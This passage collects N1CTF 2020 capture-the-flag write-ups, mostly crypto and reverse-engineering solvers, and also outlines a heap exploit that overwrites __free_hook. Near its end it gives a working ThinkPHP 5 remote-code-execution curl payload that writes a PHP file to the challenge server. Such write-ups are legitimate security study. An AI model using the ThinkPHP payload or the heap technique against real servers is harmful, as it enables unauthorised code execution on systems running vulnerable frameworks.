63 | iv = _hash[16:]
64 | encrypted_msg = base64.b64encode(AES.new(key, AES.MODE_CBC, iv).encrypt(pad(msg, 16)))
65 | print(f"encrypted_msg[{idx}] = {encrypted_msg}")
66 | receiver.receive(encrypted_msg)
67 |
68 |
69 | class Receiver:
70 | def __init__(self):
71 | self.secret = randint(1 << 254, 1 << 255)
72 | self.curve = None
73 | self.g = None
74 | self.shared_secret = None
75 |
76 | def set_curve(self, curve, g):
77 | self.curve = curve
78 | self.g = g
79 |
80 | def key_exchange(self, yours):
81 | self.shared_secret = yours * self.secret
82 | return self.g * self.secret
83 |
84 | def receive(self, encrypted_msg):
85 | px = self.shared_secret.xy()[0]
86 | _hash = sha256(long_to_bytes(px)).digest()
87 | key = _hash[:16]
88 | iv = _hash[16:]
89 | msg = AES.new(key, AES.MODE_CBC, iv).decrypt(base64.b64decode(encrypted_msg))
90 | msg = unpad(msg, 16)
91 | assert msg.startswith(b'Hi, here is your flag: ')
92 |
93 |
94 | receivers = [Receiver() for _ in range(RECEIVER_NUM)]
95 | curves = [generate_safecurve() for _ in range(RECEIVER_NUM)]
96 |
97 | A = Sender(curves, receivers)
98 | A.setup_connections()
99 | A.send_secret()
100 | ```
101 |
102 | This problem was solved by me, so I can give you a brief look inside my brain.
103 |
104 | - You can't really do anything with AES-CBC in this challenge
105 | - You can't really do anything with SHA256 anywhere
106 | - That means that we have to break the DH style shared secret generation
107 | - The secret key is reused every time, so that's the vulnerability
108 | - The curve generation only checks the existence of large primes, so small primes can exist
109 |
110 | At this point, the solution was straightforward. For each small prime pp that divides the order of the elliptic curve used, we can find the value of the secret key (modp)(modp) by using Pohlig-Hellman approach. Combining these with CRT, we can recover dd since it is at most 22552255.
111 |
112 | Since we do need to deal with primes of size around 10121012, Baby-Step-Giant-Step is required. Just use Sage.
113 |
114 |
115 |
116 | The below code finds all the shared secrets. The remaining parts of the problem are straightforward.
117 |
118 | ```python
119 | cur_mod = 1
120 | cur_val = 0
121 |
122 | for i in range(0, 7):
123 | a = S[i][0]
124 | b = S[i][1]
125 | p = S[i][2]
126 | E = EllipticCurve(GF(p), [a, b])
127 | Ord = E.order()
128 | L = list(factor(Ord))
129 | GG = E(g[i])
130 | SS = E(S_pub[i])
131 | for pp, dd in L:
132 | if pp <= 10 ** 12 and dd == 1:
133 | Gp = (Ord // pp) * GG
134 | Sp = (Ord // pp) * SS
135 | tt = discrete_log(Sp, Gp, operation='+')
136 | cur_val = crt(cur_val, tt, cur_mod, pp)
137 | cur_mod = (cur_mod * pp) // gcd(pp, cur_mod)
138 | print("Done ", i)
139 |
140 | print("[+] Secret: ", cur_val)
141 |
142 | for i in range(0, 7):
143 | a = S[i][0]
144 | b = S[i][1]
145 | p = S[i][2]
146 | E = EllipticCurve(GF(p), [a, b])
147 | RR = E(R_pub[i])
148 | RES = RR * cur_val
149 | print(RES.xy()[0])
150 | ```
151 |
152 |
--------------------------------------------------------------------------------
/2020/N1CTF 2020/crypto/N1Vault/README.md:
--------------------------------------------------------------------------------
1 | ## n1vault
2 |
3 | There was a secret logic that triggered when SIGFPE is sent to the program. The main goal of the challenge is to trigger this secret logic.
4 |
5 | There's only one point that SIGFPE signal can be triggered, with divide-by-zero exception.
6 |
7 | ``` c
8 | if ( !memcmp(&s1, &s2, 0x20uLL)
9 | && !memcmp(&v14, &v50, 0x20uLL)
10 | && 0x422048F8DF49762ELL / (v5 | v4) == 1
11 | && v4 == 0x9E48562A
12 | && v5 == 0x422048F8DF41242ELL )
13 | ```
14 |
15 | If both `v5` and `v4` is zero, then it will be triggered.
16 |
17 | After reversing binary, it was able to know that:
18 |
19 | 1. Every part of the input data is digested in to SHA256 and compared with the fixed value (`memcmp` above), except `data[0x10B0::2]`.
20 | This means we cannot change except `data[0x10B0::2]` to pass the SHA256 checking logic.
21 | 2. `v5` is the CRC64 value of the data and `v4` is the CRC32 value of the data.
22 |
23 | So this challenge is about changing `data[0x10B0::2]` (total 12 bytes) to make both CRC32 and CRC64 to zero.
24 |
25 | Usually, CRC has an interesting property, that $CRC(x \oplus y) = CRC(x) \oplus CRC(y)$. In this challenge, the starting value of CRCk is `(1 << k) - 1`, so this is a bit different: $CRC(x \oplus y) = CRC(x) \oplus CRC(y) \oplus CRC(0)$.
26 |
27 | From this, for each unknown bit $x_0, x_1, ..., x_{95}$, this challenge asks: $CRC(x_0 \oplus x_1 \oplus \ldots \oplus x_{95}) = 0$. By using the property above, we can make this into $CRC(x_0) \oplus CRC(x_1) \oplus \ldots \oplus CRC(x_{95}) \oplus CRC(0) = 0$.
28 |
29 | For $k$-th bit of CRC, we can think like: $CRC(x_0)_k \oplus CRC(x_1)_k \oplus \ldots \oplus CRC(x_{95})_k \oplus CRC(0)_k = 0$. Moreover, we can think like this way: $CRC(x_0 | x_0=1)_k \cdot x_0 \oplus CRC(x_1 | x_1=1)_k \cdot x_1 \oplus \ldots \oplus CRC(x_{95} | x_{95} = 1)_k \cdot x_{95} \oplus CRC(0)_k = 0$. We know that XOR operator is same as addition on mod 2. Therefore, this is a linear equation over mod 2 on $x_0$ to $x_{95}$.
30 |
31 | For each bit of CRC64, we can get 64 linear equations over mod 2 on $x_0$ to $x_{95}$. For each bit of CRC32, we can get 32 linear equations over mod 2 on $x_0$ to $x_{95}$. These are total 96 equations, and unknown bits are total 96 bits. We can solve this by gauss elimination.
32 |
33 | The solver code is here:
34 |
35 | ```python
36 | #!/usr/bin/env sage
37 |
38 | import struct
39 |
40 | with open('credential.png', 'rb') as f:
41 | data = f.read(0x10C8)
42 |
43 | crc32_table = []
44 | crc64_table = []
45 | with open('n1vault', 'rb') as f:
46 | f.seek(0x1960)
47 | for i in range(256):
48 | crc32_table.append(struct.unpack('> 1) ^^ crc64_table[0x80]
60 | else:
61 | crc = crc >> 1
62 | return crc ^^ ((1 << 64) - 1)
63 |
64 | def crc32(arr):
65 | crc = (1 << 32) - 1
66 | for c in arr:
67 | crc = crc ^^ c
68 | for i in range(8):
69 | if crc & 1:
70 | crc = (crc >> 1) ^^ crc32_table[0x80]
71 | else:
72 | crc = crc >> 1
73 | return crc ^^ ((1 << 32) - 1)
74 |
75 | mat = [ [0 for j in range(96)] for i in range(96)]
76 | for i in range(12):
77 | tmp = bytearray([0 for _ in range(0x10C8)])
78 | for j in range(8):
79 | tmp[0x10B0 + 2 * i] = 1 << j
80 | v32 = crc32(tmp)
81 | v64 = crc64(tmp)
82 |
83 | for k in range(32):
84 | bit = (v32 >> k) & 1
85 | mat[k][i * 8 + j] = bit
86 | for k in range(64):
87 | bit = (v64 >> k) & 1
88 | mat[k + 32][i * 8 + j] = bit
89 |
90 | target = [ 0 for i in range(96) ]
91 | v32 = crc32(data) ^^ crc32([0 for _ in range(0x10C8)])
92 | v64 = crc64(data) ^^ crc64([0 for _ in range(0x10C8)])
93 |
94 | for i in range(32):
95 | bit = (v32 >> i) & 1
96 | target[i] = bit
97 | for i in range(64):
98 | bit = (v64 >> i) & 1
99 | target[i + 32] = bit
100 |
101 | mat = Matrix(GF(2), mat)
102 |
103 | ans = mat.solve_right(Matrix(GF(2), target).transpose())
104 |
105 | tmp = bytearray(data)
106 |
107 | for i in range(12):
108 | for j in range(8):
109 | val = int(ans[8 * i + j][0])
110 | tmp[0x10B0 + 2 * i] = tmp[0x10B0 + 2 * i] ^^ (val << j)
111 |
112 | with open('credential_false.png', 'wb') as f:
113 | f.write(tmp)
114 | ```
115 |
116 | The flag was `n1ctf{fa4bdf1d540831c88ca40794fc128f10}`.
--------------------------------------------------------------------------------
/2020/N1CTF 2020/crypto/VSS/README.md:
--------------------------------------------------------------------------------
1 | ## VSS
2 |
3 | ```python
4 | #!/usr/bin/python3
5 | import qrcode # https://github.com/lincolnloop/python-qrcode
6 | import random
7 | import os
8 | from PIL import Image
9 | from flag import FLAG
10 |
11 |
12 | def vss22_gen(img):
13 | m, n = img.size
14 | share1, share2 = Image.new("L", (2*m, 2*n)), Image.new("L", (2*m, 2*n))
15 | image_data = img.getdata()
16 | flipped_coins = [int(bit) for bit in bin(random.getrandbits(m*n))[2:].zfill(m*n)]
17 | for idx, pixel in enumerate(image_data):
18 | i, j = idx//n, idx % n
19 | color0 = 0 if flipped_coins[idx] else 255
20 | color1 = 255 if flipped_coins[idx] else 0
21 | if pixel:
22 | share1.putpixel((2*j, 2*i), color0)
23 | share1.putpixel((2*j, 2*i+1), color0)
24 | share1.putpixel((2*j+1, 2*i), color1)
25 | share1.putpixel((2*j+1, 2*i+1), color1)
26 |
27 | share2.putpixel((2*j, 2*i), color0)
28 | share2.putpixel((2*j, 2*i+1), color0)
29 | share2.putpixel((2*j+1, 2*i), color1)
30 | share2.putpixel((2*j+1, 2*i+1), color1)
31 | else:
32 | share1.putpixel((2*j, 2*i), color0)
33 | share1.putpixel((2*j, 2*i+1), color0)
34 | share1.putpixel((2*j+1, 2*i), color1)
35 | share1.putpixel((2*j+1, 2*i+1), color1)
36 |
37 | share2.putpixel((2*j, 2*i), color1)
38 | share2.putpixel((2*j, 2*i+1), color1)
39 | share2.putpixel((2*j+1, 2*i), color0)
40 | share2.putpixel((2*j+1, 2*i+1), color0)
41 | share1.save('share1.png')
42 | share2.save('share2.png')
43 |
44 |
45 | def vss22_superposition():
46 | share1 = Image.open('share1.png')
47 | share2 = Image.open('share2.png')
48 | res = Image.new("L", share1.size, 255)
49 | share1_data = share1.getdata()
50 | share2_data = share2.getdata()
51 | res.putdata([p1 & p2 for p1, p2 in zip(share1_data, share2_data)])
52 | res.save('result.png')
53 |
54 |
55 | def main():
56 | qr = qrcode.QRCode(
57 | version=1,
58 | error_correction=qrcode.constants.ERROR_CORRECT_L,
59 | box_size=12,
60 | border=4,
61 | )
62 | qr.add_data(FLAG)
63 | qr.make(fit=True)
64 | img = qr.make_image(fill_color="black", back_color="white")
65 | vss22_gen(img._img)
66 | img.save('res.png')
67 | vss22_superposition()
68 |
69 |
70 | if __name__ == '__main__':
71 | main()
72 | ```
73 |
74 | The vulnerability lies in the use of "getrandbits" - it's implemented using MT19937. This PRNG is known to be predictable after 624 output values are known. Also, if you try to generate a QR code with a sample flag, we can see that the first few rows of the generated output are all white. With this fact, we can retrieve the first few thousand bits generated, and we can predict the following bits generated by MT19937. Therefore, we can recover the original QR code. **This solution (and code itself) is due to rbtree.**
75 |
76 | ```python
77 | from mt import untemper
78 | import random
79 | from PIL import Image
80 |
81 | img = Image.open('share2.png')
82 | value = 0
83 | for i in range(444):
84 | for j in range(444):
85 | value <<= 1
86 | value ^= 1 if 255 == img.getpixel((2 * j + 1, 2 * i)) else 0
87 |
88 | tmp = value
89 | values = []
90 | for i in range(444 * 444 // 32):
91 | values.append(tmp & 0xffffffff)
92 | tmp >>= 32
93 |
94 | mt_state = tuple(list(map(untemper, values[:624])) + [0])
95 | random.setstate((3, mt_state, None))
96 |
97 | # for i in range(444 * 444 // 32):
98 | # assert values[i] == random.getrandbits(32)
99 |
100 | random.setstate((3, mt_state, None))
101 |
102 | real_value = 0
103 | for i in range(444 * 444 // 32):
104 | real_value ^= random.getrandbits(32) << (32 * i)
105 |
106 | value ^= real_value
107 | arr = [int(bit) for bit in bin(value)[2:].zfill(444 * 444)]
108 |
109 | res = Image.new("L", (444, 444))
110 |
111 | for i in range(444):
112 | for j in range(444):
113 | res.putpixel((j, i), 0 if arr[i * 444 + j] else 255)
114 |
115 | res.save("res.png")
116 | ```
117 |
118 |
--------------------------------------------------------------------------------
/2020/N1CTF 2020/crypto/easyRSA/README.md:
--------------------------------------------------------------------------------
1 | ## easyRSA?
2 |
3 | ```python
4 | from Crypto.Util.number import *
5 | import numpy as np
6 |
7 | mark = 3**66
8 |
9 | def get_random_prime():
10 | total = 0
11 | for i in range(5):
12 | total += mark**i * getRandomNBitInteger(32)
13 | fac = str(factor(total)).split(" * ")
14 | return int(fac[-1])
15 |
16 | def get_B(size):
17 | x = np.random.normal(0, 16, size)
18 | return np.rint(x)
19 |
20 | p = get_random_prime()
21 | q = get_random_prime()
22 | N = p * q
23 | e = 127
24 |
25 | flag = b"N1CTF{************************************}"
26 | secret = np.array(list(flag))
27 |
28 | upper = 152989197224467
29 | A = np.random.randint(281474976710655, size=(e, 43))
30 | B = get_B(size=e).astype(np.int64)
31 | linear = (A.dot(secret) + B) % upper
32 |
33 | result = []
34 | for l in linear:
35 | result.append(pow(l, e, N))
36 |
37 | print(result)
38 | print(N)
39 | np.save("A.npy", A)
40 | ```
41 |
42 | Looking at the problem, we see that we need to do the following
43 |
44 | - Factorize NN using the vulnerable random prime generator, and recover the array "linear"
45 | - Solve the instance of LWE by using the fact that secret vector (the flag) is small as well
46 |
47 | We first focus on the first part. I actually thought about coppersmith method, but I couldn't get it to work.
48 |
49 | I already have an experience in wasting time with coppersmith approach, (sharsable) so I stopped attempting.
50 |
51 |
52 |
53 | rbtree noted that there is a polynomial ff with small coefficients, degree 8, and f(3^66) ≡ 0 (mod N)
54 |
55 | This is because for each p,qp,q, there's a degree 4 polynomial with small coefficients that vanishes at 3^66 modulo that prime.
56 |
57 | If we multiply the two degree 4 polynomials, we arrive at the described polynomial of degree 8.
58 |
59 | He then suggested using a lattice to find this polynomial. This was an excellent idea!
60 |
61 |
62 |
63 | Since we want a small-coefficient-linear-combination of 3^(66⋅0),3^(66⋅1),⋯,3^(66⋅8) that vanishes to zero, we must use scaling, as I did in sharsable. Check the code for technical details. As I do usually, I used Babai's closest vector algorithm. We can expect ff to be factorized into two polynomials of degree 4. By calculating each polynomial at 3^66 and taking GCDs, we can retrieve p,q This completes Part 1.
64 |
65 |
66 |
67 | For Part 2, we need to solve the LWE problem. This is hard in general, but we know that the secret vector is small as well.
68 |
69 | Of course, LWE problem can be modeled as CVP problem, and we use the "secret vector is small" fact here as well.
70 |
71 |
72 |
73 | ```python
74 | ## Step 1 : Factorization of N
75 | rat = 2 ** 1000
76 | ## scaling : super large to force zero in the first column
77 |
78 | for i in range(0, 9):
79 | M[i, 0] = (3 ** (66 * i)) * rat
80 | M[9, 0] = n * rat
81 | for i in range(0, 9):
82 | M[i, i+1] = 1
83 |
84 | Target = [0] * 10
85 | for i in range(1, 10):
86 | Target[i] = (2 ** 64)
87 |
88 | M = M.LLL()
89 | GG = M.gram_schmidt()[0]
90 | Target = vector(Target)
91 | TT = Babai_closest_vector(M, GG, Target)
92 |
93 | P. = PolynomialRing(ZZ)
94 | f = 0
95 | for i in range(1, 10):
96 | f = f + TT[i] * x^(i-1)
97 | print(f.factor())
98 | ## (2187594805*x^4 + 2330453070*x^3 + 2454571743*x^2 + 2172951063*x + 3997404950)
99 | ## (3053645990*x^4 + 3025986779*x^3 + 2956649421*x^2 + 3181401791*x + 4085160459)
100 |
101 | cc = 0
102 | cc += 2187594805 * (3 ** (66 * 4))
103 | cc += 2330453070 * (3 ** (66 * 3))
104 | cc += 2454571743 * (3 ** (66 * 2))
105 | cc += 2172951063 * (3 ** (66 * 1))
106 | cc += 3997404950 * (3 ** (66 * 0))
107 |
108 | p = gcd(cc, n)
109 | print(p)
110 | print(n // p)
111 | print(n % p)
112 |
113 | ## Step 2 : housekeeping stuff
114 | ## res in res.txt, A in A.npy
115 | p = 122286683590821384708927559261006610931573935494533014267913695701452160518376584698853935842772049170451497
116 | q = 268599801432887942388349567231788231269064717981088022136662922349190872076740737541006100017108181256486533
117 | e = 127
118 | n = p * q
119 | phi = (p-1) * (q-1)
120 | d = inverse(e, phi)
121 |
122 | cv = []
123 | for x in res:
124 | cv.append(pow(x, d, n))
125 |
126 | print(cv)
127 |
128 | np.set_printoptions(threshold=sys.maxsize)
129 | A = np.load("A.npy")
130 | A = np.ndarray.tolist(A)
131 | print(A)
132 |
133 | ## Step 3 : LWE with CVP
134 | mod = 152989197224467
135 |
136 | sel = 15 ## sel can be large as 127, but that's too slow
137 | M = Matrix(ZZ, sel + 43, sel + 43)
138 | for i in range(0, 43):
139 | for j in range(0, sel):
140 | M[i, j] = A[j][i]
141 | M[i, sel + i] = 1
142 | for i in range(43, 43+sel):
143 | M[i, i-43] = mod
144 | Target = [0] * (sel + 43)
145 | for i in range(0, sel):
146 | Target[i] = res[i] - 8
147 | for i in range(sel, sel + 43):
148 | Target[i] = 80 ## printable
149 |
150 | Target = vector(Target)
151 | M = M.LLL()
152 | GG = M.gram_schmidt()[0]
153 | Target = vector(Target)
154 | TT = Babai_closest_vector(M, GG, Target)
155 |
156 | print(TT)
157 |
158 | res = ""
159 | for i in range(sel, sel+43):
160 | res += chr(TT[i])
161 |
162 | print(res)
163 | ```
164 |
165 |
--------------------------------------------------------------------------------
/2020/N1CTF 2020/misc/filters/README.md:
--------------------------------------------------------------------------------
1 | # Filters
2 |
3 | a misc challenge with 10 solves at the end.
4 |
5 | ## Challenge
6 |
7 | ```
8 | 1
29 | ```
30 |
31 | ## Solution - Probably unintended
32 |
33 | We solved this with simple trick, Accoring to rfc, the data url's format is:
34 |
35 | ```
36 | data:[][;base64],
37 | ```
38 |
39 | The parts in `[]` are optional, and default media type is `plain/text`, So this payload
40 | ```
41 | resource=data:,
42 | ```
43 |
44 | would construct
45 |
46 | ```
47 | php://filter/resource=data:,/resource=/usr/bin/php
48 | ```
49 |
50 | which generates
51 |
52 | ```
53 | /resource=/usr/bin/php
54 | ```
55 |
56 | And the flag is n1ctf{https_www_arknights_global}
57 |
58 |
--------------------------------------------------------------------------------
/2020/N1CTF 2020/misc/n1egg_allsignin/README.md:
--------------------------------------------------------------------------------
1 | ## n1egg_allsignin
2 |
3 | Just follow description with flags.
--------------------------------------------------------------------------------
/2020/N1CTF 2020/pwn/README.md:
--------------------------------------------------------------------------------
1 | ## signin
2 |
3 | This is custom vector management application.
4 |
5 | We can insert some integer values into vector structure, the vector structure consists with two members, first is vector begin, second is vector end pointer
6 |
7 | The vulnerability is based on this application does not have logic for checking deleted index
8 |
9 | ```C
10 | unsigned __int64 sub_1034()
11 | {
12 | int v1; // [rsp+4h] [rbp-Ch]
13 | unsigned __int64 v2; // [rsp+8h] [rbp-8h]
14 |
15 | v2 = __readfsqword(0x28u);
16 | std::operator<<>(&std::cout, "Index:");
17 | std::istream::operator>>(&std::cin, &v1);
18 | if ( v1 == 1 )
19 | sub_1364((__int64)&unk_2032A0);
20 | if ( v1 == 2 )
21 | sub_1364((__int64)&unk_2032C0);
22 | return __readfsqword(0x28u) ^ v2;
23 | }
24 |
25 | ```
26 |
27 | We can trigger delete function for same values more than one times.
28 |
29 | Thus, we can make the vector end pointer smaller than the vector begin pointer.
30 |
31 | We can make main_arena address into heap, just execute ‘new’ function many times.
32 |
33 | And then, just use the show function to leak some values and calculate the libc base address.
34 |
35 | Finally, we can get privileges on the server by overwriting tcache single-linked list pointer to __free_hook global variable.
--------------------------------------------------------------------------------
/2020/N1CTF 2020/rev/fixed_camera/README.md:
--------------------------------------------------------------------------------
1 | ## fixed camera
2 |
3 | The given Unity binary uses il2cpp + mono. It is easily reversible with Il2CppDumper.
4 |
5 | With the dumper, it was able to find out that there's a class named `cam` and it has the main logic.
6 |
7 | The structure of the member of the class was like:
8 |
9 | ```
10 | 00000000 cam_Fields struc ; (sizeof=0x48, align=0x8, copyof_17367)
11 | 00000000 ; XREF: cam_o/r
12 | 00000000 baseclass_0 UnityEngine_MonoBehaviour_Fields ?
13 | 00000008 text dq ? ; offset
14 | 00000010 encrypt_flag dq ? ; offset
15 | 00000018 speed dd ?
16 | 0000001C distance_v dd ?
17 | 00000020 distance_h dd ?
18 | 00000024 rotation_H_speed dd ?
19 | 00000028 rotation_V_speed dd ?
20 | 0000002C max_up_angle dd ?
21 | 00000030 max_down_angle dd ?
22 | 00000034 max_left_angle dd ?
23 | 00000038 max_right_angle dd ?
24 | 0000003C current_rotation_V dd ?
25 | 00000040 angleY dq ? ; offset
26 | 00000048 cam_Fields ends
27 | ```
28 |
29 | The important field is `angleY`, because we cannot move over `-9` degree or `+9` degree because of the code. At this time, I decided to use cheat engine to change `angleY` value.
30 |
31 | It was able to find `angleY` from the memory because of other member values.
32 |
33 | ```c
34 | void __stdcall cam___ctor(cam_o *this, const MethodInfo *method)
35 | {
36 | __int64 v3; // rdx
37 | UnityEngine_MonoBehaviour_o *v4; // rbx
38 |
39 | if ( !byte_180872E55 )
40 | {
41 | sub_18011A030(10994i64, (__int64)method);
42 | byte_180872E55 = 1;
43 | }
44 | v3 = StringLiteral_3877;
45 | this->fields.encrypt_flag = (struct System_String_o *)StringLiteral_3877;
46 | sub_180119BC0((__int64)&this->fields.encrypt_flag, v3);
47 | this->fields.speed = 20.0;
48 | this->fields.rotation_H_speed = 1.0;
49 | this->fields.rotation_V_speed = 1.0;
50 | this->fields.max_up_angle = 80.0;
51 | this->fields.max_down_angle = -60.0;
52 | this->fields.max_left_angle = -30.0;
53 | this->fields.max_right_angle = 30.0;
54 | v4 = (UnityEngine_MonoBehaviour_o *)sub_18011A130(EncryptValue_TypeInfo);
55 | UnityEngine_MonoBehaviour___ctor(v4, 0i64);
56 | this->fields.angleY = (struct EncryptValue_o *)v4;
57 | sub_180119BC0((__int64)&this->fields.angleY, (__int64)v4);
58 | UnityEngine_MonoBehaviour___ctor((UnityEngine_MonoBehaviour_o *)this, 0i64);
59 | }
60 | ```
61 |
62 | Member values like `speed`, `max_up_angle`, `max_down_angle` are never changed after the given constructor fix its value. Therefore, it was able to find the pointer `angleY` by finding values `[20.0, 1.0, 1.0, 80.0, -60.0, -30.0, 30.0]`.
63 |
64 | After this, I changed `angleY` to `-120` and moved slowly to right. When `angleY` was `-60`, the flag was out, it was `n1ctf{encrypt_value}`.
--------------------------------------------------------------------------------
/2020/N1CTF 2020/rev/n1egg_fixed_camera/README.md:
--------------------------------------------------------------------------------
1 | ### n1egg
2 |
3 | About n1egg flag, it was able to get n1egg flag by just searching `n1egg` on the memory.
4 |
5 | The flag was `n1egg{you_found_the_eggs}`.
--------------------------------------------------------------------------------
/2020/N1CTF 2020/rev/oflo/README.md:
--------------------------------------------------------------------------------
1 | ## oflo
2 |
3 | There are several anit-reversing logic, so I just patched with `\x90` (nop instruction) to avoid them. After this process, it was able to figure out the logic of the program.
4 |
5 | 1. Use `/bin/cat` to something to get a string
6 | 2. XOR the prologue of a function by the first 5 bytes of the given input.
7 | 3. XOR the given input and the string from 1., then check the result is right.
8 |
9 | The part 2. is easy to patch, because the first 5 bytes of the given input is always `n1ctf`.
10 |
11 | Then, I found out that 1. give us the string starts with `Linux version` with gdb. so it was able to get flag like this:
12 |
13 | ```
14 | >>> arr
15 | [53, 45, 17, 26, 73, 125, 17, 20, 43, 59, 62, 61, 60, 95]
16 | >>> arr2
17 | [76, 105, 110, 117, 120, 32, 118, 101, 114, 115, 105, 111, 110, 32]
18 | >>> s = ''
19 | >>> for i in range(len(arr)):
20 | ... s += chr(arr[i] ^ (arr2[i] + 2))
21 | ...
22 | >>> s
23 | '{Fam3_is_NULL}'
24 | ```
--------------------------------------------------------------------------------
/2020/N1CTF 2020/rev/oh_my_julia/README.md:
--------------------------------------------------------------------------------
1 | ## Oh my julia
2 |
3 | Julia is a programming language for numerical analysis (from google)
4 |
5 | We can find the jl_apply_generic functions in Julia compiler’s control flow.
6 |
7 | I just analyze this function to understand the flow of main function which wrote with Julia Syntax.
8 |
9 | And i finally found this function.
10 |
11 | ```C
12 | JL_DLLEXPORT jl_value_t *jl_fptr_args(jl_value_t *f, jl_value_t **args, uint32_t nargs, jl_code_instance_t *m)
13 | {
14 | while (1) {
15 | jl_fptr_args_t invoke = jl_atomic_load_relaxed(&m->specptr.fptr1);
16 | if (invoke)
17 | return invoke(f, args, nargs);
18 | }
19 | }
20 | ```
21 |
22 | Almost of the julia functions were invoked by this jl_fptr_args function.
23 |
24 | And i can find the address of this program’s main flow.
25 |
26 | The first flag part was generated by simple string comparison operations.
27 |
28 | And the second flag part was generated by simple XOR logics.
29 |
30 | Next the third flag part was generated by Multiplication and Shift operations.
31 |
32 | Thus, i wrote the assembly codes which implemented brute force.
33 |
34 |
35 |
36 | ```assembly
37 | section .text
38 | global _start
39 |
40 | _start:
41 | mov r15, 0x0
42 | loop:
43 | mov rbx, r15
44 | mov rdx, 0x6A959265B134ED87
45 | mov rax, rbx
46 | imul rdx
47 | mov rax, rdx
48 | shr rax, 0x3F
49 | sar rdx, 0xB
50 | add rdx, rax
51 | imul rax, rdx, 0x1337
52 | mov rcx, rbx
53 | sub rcx, rax
54 | mov rdx, 0x149B0651897000A5
55 | mov rax, rbx
56 | imul rdx
57 | xor eax, eax
58 | cmp rcx, 0x8FF
59 | je next
60 | add r15, 0x1
61 | cmp r15, 0x7f7f7f7f
62 | je abort
63 | jmp loop
64 | next:
65 | mov rcx, rdx
66 | shr rcx, 0x3F
67 | sar rdx, 0x9
68 | add rdx, rcx
69 | imul rcx, rdx, 0x18D9
70 | mov rdx, rbx
71 | sub rdx, rcx
72 | cmp rdx, 0x105A
73 | je next_2
74 | add r15, 0x1
75 | cmp r15, 0x7f7f7f7f
76 | je abort
77 | jmp loop
78 | next_2:
79 | mov rdx, 0xE13BDAF0069940EB
80 | mov rax, rbx
81 | imul rdx
82 | add rdx, rbx
83 | mov rax, rdx
84 | shr rax, 0x3F
85 | sar rdx, 0xD
86 | add rdx, rax
87 | imul rax, rdx, 0x245F
88 | sub rbx, rax
89 | cmp rbx, 0x1595
90 | je end
91 | add r15, 0x1
92 | cmp r15, 0x7f7f7f7f
93 | je abort
94 | jmp loop
95 | abort:
96 | ret
97 | end:
98 | mov rax, r15
99 | ret
100 | ```
101 |
102 | And the fourth flag part was generated by ror and rol, shl, shr, add, xor, .. a lot of operations.
103 |
104 | I was cumbersome to reverse engineering this.
105 |
106 | But we can guess the third character is ‘L’ from this logics.
107 |
108 |
109 |
110 | ```c
111 | #include
112 | #include
113 | #include
114 | #include
115 | #include
116 |
117 | static inline uint8_t rol_8(uint8_t n, unsigned int c)
118 | {
119 | const unsigned int mask = (CHAR_BIT * sizeof(n) - 1);
120 | c &= mask;
121 | return (n << c) | (n >> ((-c) &mask));
122 | }
123 |
124 | static inline uint8_t ror_8(uint8_t n, unsigned int c)
125 | {
126 | const unsigned int mask = (CHAR_BIT * sizeof(n) - 1);
127 | c &= mask;
128 | return (n >> c) | (n << ((-c) & mask));
129 | }
130 |
131 | int main()
132 | {
133 | char source[5] = { 0 };
134 | char temp[5] = { 0 };
135 | char dest[5] = { 0 };
136 |
137 | uint8_t dl, r9b, r10b, al, cl;
138 |
139 | for (int i = 0x41; i < 0x80; i++)
140 | {
141 | printf("%d\n", i);
142 | source[0] = (char)i;
143 | for (int j = 0x20; j < 0x80; j++)
144 | {
145 | source[1] = (char)j;
146 | for (int k = 0x20; k < 0x80; k++)
147 | {
148 | source[2] = (char)k;
149 | for (int m = 0x20; m < 0x80; m++)
150 | {
151 | source[3] = (char)m;
152 | for (int l = 0x20; l < 0x80; l++)
153 | {
154 | source[4] = (char)l;
155 | memcpy(temp, source, 5);
156 | //memcpy(temp, "mnpqr", 5);
157 | r9b = temp[0];
158 | dl = temp[2];
159 | dl = rol_8(dl, 0x3);
160 | temp[2] = dl;
161 | r9b = rol_8(r9b, 0x2);
162 | temp[0] = r9b;
163 | dl = dl ^ temp[3];
164 | dl = dl ^ r9b;
165 | temp[3] = dl;
166 | dl = temp[4];
167 | r10b = temp[1];
168 | r10b = r10b ^ dl;
169 | al = r9b;
170 | al = al << 3;
171 | al = al ^ r10b;
172 | dl = rol_8(dl, 0x4);
173 | temp[4] = dl;
174 | dl = dl ^ r9b;
175 | cl = al;
176 | cl = cl << 0x2;
177 | cl = cl ^ dl;
178 | temp[0] = cl;
179 | r10b = r10b << 0x7;
180 | al = al >> 0x1;
181 | al = al | r10b;
182 | temp[1] = al;
183 | if (temp[0] == (char)0x59 && temp[1] == (char)0xbe && temp[2] == (char)0x62 && temp[3] == (char)0xfa && temp[4] == (char)0x04)
184 | {
185 | printf("%c%c%c%c%c\n", source[0], source[1], source[2], source[3], source[4]);
186 | }
187 | }
188 | }
189 | }
190 | }
191 | }
192 | return 0;
193 | }
194 | ```
195 |
196 | The final part of flag was generated by libgmp library, but this logic is too complicate.
197 |
198 | We have to find last 0xD bytes of flag, thus we cannot find the part of flag from brute-forcing all alphanumeric characters.
199 |
200 | But, we can assume the candidates for the characters that make up the flag string.
201 |
202 | We can try brute forcing with two characters, ‘z’ and ‘Z’.
203 |
204 |
205 |
206 | ```python
207 | import os
208 | from subprocess import Popen, PIPE
209 |
210 | for i in range(8192):
211 | print(i)
212 | form = "{0:013b}".format(i)
213 | form = form.replace("1", "Z")
214 | form = form.replace("0", "z")
215 | pipe = Popen("C:\\Users\\a\\Downloads\\43bd298957c1b89c4fad9c0bf55024cc\\to_player\\crack.exe", shell=True, stdout=PIPE, stdin=PIPE)
216 | key = b"n0w_You_kN0w_juL1@_" + form.encode() + b"\n"
217 | out, err = pipe.communicate(key)
218 | if b"noo" not in out:
219 | print(form)
220 | print("end")
221 | ```
222 |
223 |
--------------------------------------------------------------------------------
/2020/N1CTF 2020/web/easy_tp5/README.md:
--------------------------------------------------------------------------------
1 | # Easy_TP5
2 |
3 | A web challenge with thinkphp framework ended up having 11 solves
4 |
5 | ## Solution
6 |
7 | Final exploit:
8 |
9 | ```
10 | curl --data "path=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3N1cHBwLnBocCcsJ3N1cGVyIGd1ZXNzc3NlcnMnKTsgPz4=&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=base64_decode&filter[]=\think\view\driver\Php::Display&method=GET" "http://101.32.184.39/?s=captcha&g=implode"
11 | ```
12 |
13 | This exploit create file names `suppp.php` with `super guessssers` inside it.
14 |
15 | ## explanation
16 |
17 | ## First step
18 | Well The challenge had many steps so i just explain how the exploit works. Everything starts from this function in `Request.php`
19 |
